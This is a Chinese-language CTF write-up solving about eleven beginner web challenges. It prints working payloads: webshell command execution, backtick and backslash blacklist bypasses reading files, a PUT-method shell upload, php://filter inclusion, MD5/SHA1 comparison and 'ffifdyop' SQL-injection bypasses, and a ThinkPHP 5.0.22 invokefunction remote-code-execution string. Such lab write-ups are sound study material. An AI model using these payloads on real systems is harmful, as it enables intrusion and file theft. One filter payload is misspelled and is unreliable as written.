比较基础的一些web题⑤
[羊城杯 2020]easycon 访问Index.php 这道题一打开是这样的一个页面,感觉这题更偏向misc 一般的php主页面都是index.html
我们这里可以试着访问一下index.php
然后发现 是一个一句话木马,然后直接传参执行命令即可 POST传参
1 cmd=system("cat bbbbbbbbb.txt ");
然后得到一堆base64编码的东西,拿去解码 发现jpg的头,所以尝试下用Base64转图片的在线网站 试试
Base64解码转图片 NSSCTF{do_u_kn0w_c@idao}
[UUCTF 2022 新生赛]ez_rce 打开是源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 居然都不输入参数,可恶!!!!!!!!! <?php ## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢???????????? if(isset($_GET['code'])){ $code=$_GET['code']; if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){ echo '看看你输入的参数!!!不叫样子!!';echo '<br>'; eval($code); } else{ die("你想干什么?????????"); } } else{ echo "居然都不输入参数,可恶!!!!!!!!!"; show_source(__FILE__); }
看到过滤了很多执行命令的函数,这里我们可以用 反引号 执行命令然后用print
回显出来进行绕过 那些过滤了的命令可以加反斜杠进行绕过
关键词反斜杠绕过+反引号执行命令+Print回显+空格用+绕过 1 2 3 4 5 ?code=printf(`l\s`); ?code=printf(`l\s+/`); ?code=printf(`c\at+/fffffffffflagafag`); #这里的空格也可以用url编码的%20绕过,比如 ?code=printf(`c\at+/fffffffffflagafag`);
NSSCTF{This_IS_s0_easy_RCE}
[NSSRound#1 Basic]basic_check 打开啥都没有,来用dirsearch
扫一波dirsearch -u http://node4.anna.nssctf.cn:28766/ -e*
嘻嘻,啥都没有,然后用curl
扫描一下
curl扫描
他允许PUT
方法,而且PUT
方法可以用来上传文件
PUT方法上传文件 然后抓包上传文件(可以先转换成POST方法,然后再手动改成PUT方法)
1 2 /111.php?sss=ls / /111.php?sss=cat /flag
NSSCTF{400c595f-164c-4127-bb02-edf0fb5e9c34}
[HNCTF 2022 Week1]easy_html 打开环境,提示看cookie,cookie中提示文件f14g.php
,访问之后是一个登录框
绕过前端限制 这里说输入手机号登录,但是前端限制了输入的长度最多为10位,所以我们就修改前端的长度即可,把最大长度修改的比11大就行,然后再输入手机号即可拿到flagNSSCTF{034f24bd-4def-42a2-8c97-a2111ad82b82}
[GDOUCTF 2023]受不了一点 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php error_reporting(0); header("Content-type:text/html;charset=utf-8"); if(isset($_POST['gdou'])&&isset($_POST['ctf'])){ $b=$_POST['ctf']; $a=$_POST['gdou']; if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){ if(isset($_COOKIE['cookie'])){ if ($_COOKIE['cookie']=='j0k3r'){ if(isset($_GET['aaa']) && isset($_GET['bbb'])){ $aaa=$_GET['aaa']; $bbb=$_GET['bbb']; if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){ $give = 'cancanwordflag'; $get ='hacker!'; if(isset($_GET['flag']) && isset($_POST['flag'])){ die($give); } if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ die($get); } foreach ($_POST as $key => $value) { $$key = $value; } foreach ($_GET as $key => $value) { $$key = $$value; } echo $flag; }else{ echo "洗洗睡吧"; } }else{ echo "行不行啊细狗"; } } } else { echo '菜菜'; } }else{ echo "就这?"; } }else{ echo "别来沾边"; } ?> 别来沾边
数组比较,数字比较 1 2 3 4 5 6 #get传参 ?aaa=114514&bbb=114514a&1=flag&flag=1 #post传参 gdou[]=1&ctf[]=2 #cookie传参 cookie=j0k3r
NSSCTF{2bb0f907-3501-4451-9482-7996ef29a181}
[SWPUCTF 2022 新生赛]ez_ez_php(revenge) 源码为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting(0); if (isset($_GET['file'])) { if ( substr($_GET["file"], 0, 3) === "php" ) { echo "Nice!!!"; include($_GET["file"]); } else { echo "Hacker!!"; } }else { highlight_file(__FILE__); } //flag.php
伪协议 1 ?file=php://filter/read=covert,vase64-encode/resource=/flag
NSSCTF{9c292bd8-0bdd-481b-b810-38907f0b2246}
[SWPUCTF 2022 新生赛]奇妙的MD5 抓个包看一下 看到hint提示
md5中神奇的字符-ffifdyop 经过md5加密后:276f722736c95d99e921722cf9ed621c
再转换为字符串:'or'6<乱码>
即 'or'66�]��!r,��b
用途:select * from admin where password=''or'6<乱码>'
,or后面的第一个字母只要不是0,都会被认为是true,从而实现sql注入的绕过 就相当于select * from admin where password=''or 1
实现sql注入 所以第一关 输入ffifdyop
F12找到线索,md5的弱比较 get传参
1 x=s878926199a&y=s155964671a
最后一关
1 2 3 4 5 6 7 8 9 <?php error_reporting(0); include "flag.php"; highlight_file(__FILE__); if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){ echo $FLAG; }
md5强比较 post传参
NSSCTF{94ead189-4555-42ea-bb83-0580a4b4fa68}
[HNCTF 2022 Week1]easy_upload 直接一句话木马NSSCTF{1a845aba-d706-4c2c-901f-dbb11bb94e12}
[鹤城杯 2021]Middle magic 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php highlight_file(__FILE__); include "./flag.php"; include "./result.php"; if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){ $aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']); if(preg_match('/pass_the_level_1#/', $aaa)){ echo "here is level 2"; if (isset($_POST['admin']) and isset($_POST['root_pwd'])) { if ($_POST['admin'] == $_POST['root_pwd']) echo '<p>The level 2 can not pass!</p>'; // START FORM PROCESSING else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){ echo "here is level 3,do you kown how to overcome it?"; if (isset($_POST['level_3'])) { $level_3 = json_decode($_POST['level_3']); if ($level_3->result == $result) { echo "success:".$flag; } else { echo "you never beat me!"; } } else{ echo "out"; } } else{ die("no"); } // perform validations on the form data } else{ echo '<p>out!</p>'; } } else{ echo 'nonono!'; } echo '<hr>'; } ?>
首先正则,第一关必须为pass_the_level_1#
但是又绕过了Pass,正则表示匹配pass两边的字符并且进行替换
换行符绕过正则 直接换行绕过。.
点号不会匹配换行符%0a
%0apass_the_level_1%23
第二个是sha1强相等绕过
sha1强相等绕过–数组绕过 admin[]=1&root_pwd[]=2
第三关随便传入就行level_3={“result”:0}
NSSCTF{41e5162c-2a22-48d7-8109-e20e2352a3da}
[HNCTF 2022 Week1]What is Web 直接f12NSSCTF{Hell0_Weber_Wec0m3_come_2_web_w0r1d!}
[SWPUCTF 2022 新生赛]ez_rce thinkphp历史漏洞 扫一下目录 看一下robots.txt
然后访问一下/NSS/index.php/
应该是考历史漏洞,thinkphpv5.0.22https://xz.aliyun.com/t/9361 浅浅复现一下吧?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /nss/ctf/flag/flag
得到flag NSSCTF{c3da9ab0-00c3-4a2c-baf0-34f5b986aaae}